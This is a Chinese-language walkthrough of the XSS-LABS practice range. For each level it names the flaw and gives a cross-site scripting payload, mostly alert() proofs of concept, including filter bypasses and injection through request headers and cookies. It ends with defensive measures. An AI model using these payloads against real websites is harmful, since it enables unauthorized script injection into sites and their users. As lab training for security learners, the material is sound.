XSS-LABS靶场通关讲解
XSS-LABS靶场通关讲解
声明
文中涉及操作均来自靶机虚拟环境,禁止用于真实环境,任何未经授权的渗透测试都是违法行为!
靶场部署与工具推荐
- 环境搭建 :使用PHPStudy部署,源码从GitHub下载。
- 测试工具 :Burp Suite(抓包)、ExifTool(修改EXIF)、XSStrike(自动化检测)。
下载 xss-labs,
解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs
之后访问
1. Level 1(直接注入)
漏洞点
:GET参数
name
未过滤直接输出到HTML。
Payload
:
<script>alert('xss')</script>
原理
:服务端未转义用户输入,直接拼接至
<h2>
标签中。
2. Level 2(闭合属性值)
漏洞点
:输入框的
value
属性未过滤,但
<h2>
内容被转义。
Payload
:
"><script>alert(1)</script>
技巧
:闭合
value
的双引号,利用未过滤的输入点注入脚本。
3. Level 3(事件触发绕过)
漏洞点
:
<
和
>
被转义,但单引号未过滤。
Payload
:
' onfocus=javascript:alert() '
原理
:通过
onfocus
事件在输入框获得焦点时触发脚本。
4. Level 4(双引号闭合)
漏洞点 :双引号闭合属性值,过滤逻辑与Level 3相反。
Payload
:
" onfocus=javascript:alert() "
技巧 :调整引号类型以适应服务端过滤规则。
5. Level 5( <a>
标签利用)
漏洞点
:
on
和
script
被过滤为
o_n
和
scr_ipt
。
Payload
:
"><a href="javascript:alert(1)">xss</a><"
绕过
:利用
<a>
标签的
href
属性执行JavaScript伪协议。
6. Level 6(大小写绕过)
漏洞点 :关键字过滤未统一大小写。
Payload
:
"><sCript>alert()</sCript><"
技巧 :通过混合大小写绕过黑名单检测。
7. Level 7(双写绕过)
漏洞点
:
script
被替换为空,但仅过滤一次。
Payload
:
"><scscriptript>alert()</scscriptript><"
原理 :双写敏感词使过滤后仍保留有效字符。
8. Level 8(html 实体编码)
漏洞点
:
href
属性自动解码Unicode。
Payload
:
javascript:alert(1)
编码为
javascript:alert(1)
工具 :使用在线编码工具转换关键字符。
9. Level 9(注释符绕过)
漏洞点
:强制要求参数包含
http://
。
Payload
:
javascript:alert()/*http://*/
技巧 :添加注释符绕过字符串检测。
10. Level 10(隐藏表单注入)
漏洞点
:通过隐藏的
t_sort
参数注入事件。
Payload
:
?t_sort=" onfocus=alert() type="text
原理
:修改隐藏表单属性为可见并触发事件。
11. Level 11(Referer头注入)
漏洞点
:
Referer
头未过滤写入隐藏表单。
Payload
:修改HTTP头为
Referer: " onfocus=alert() type="text
12. Level 12(User-Agent注入)
漏洞点
:
User-Agent
头未过滤。
Payload
:同Level 11,修改
User-Agent
字段。
13. Level 13(Cookie注入)
漏洞点 :Cookie值未过滤写入页面。
Payload
:设置Cookie为
user=" onfocus=alert() type="text
14. Level 14(EXIF XSS)
漏洞点 :图片EXIF信息未过滤。
方法 :使用工具(如ExifTool)在图片元数据中插入脚本。
15. Level 15
漏洞点
:
ng-include
指令包含外部页面。
Payload
:
?src='level1.php?name=<img src=x onerror=alert(1)>'
16. Level 16(空格与换行符)
漏洞点
:空格被编码为
,换行符保留。
Payload
:
<img%0asrc=x%0aonerror=alert(1)>
17. Level 17-18(Flash XSS)
漏洞点 :Flash未过滤参数,闭合标签属性。
Payload
:
?arg01=a&arg02= onmouseover=alert(1)
三、防御思路总结
- 输入过滤
:使用白名单限制特殊字符(如
<
,>
)。 - 输出编码
:根据上下文转义HTML/JS(如
<
转为<
)。 - HTTP安全头 :
Content-Security-Policy: script-src 'self';
Set-Cookie: HttpOnly; Secure
- 框架安全
:避免直接使用
v-html
或innerHTML
等危险API。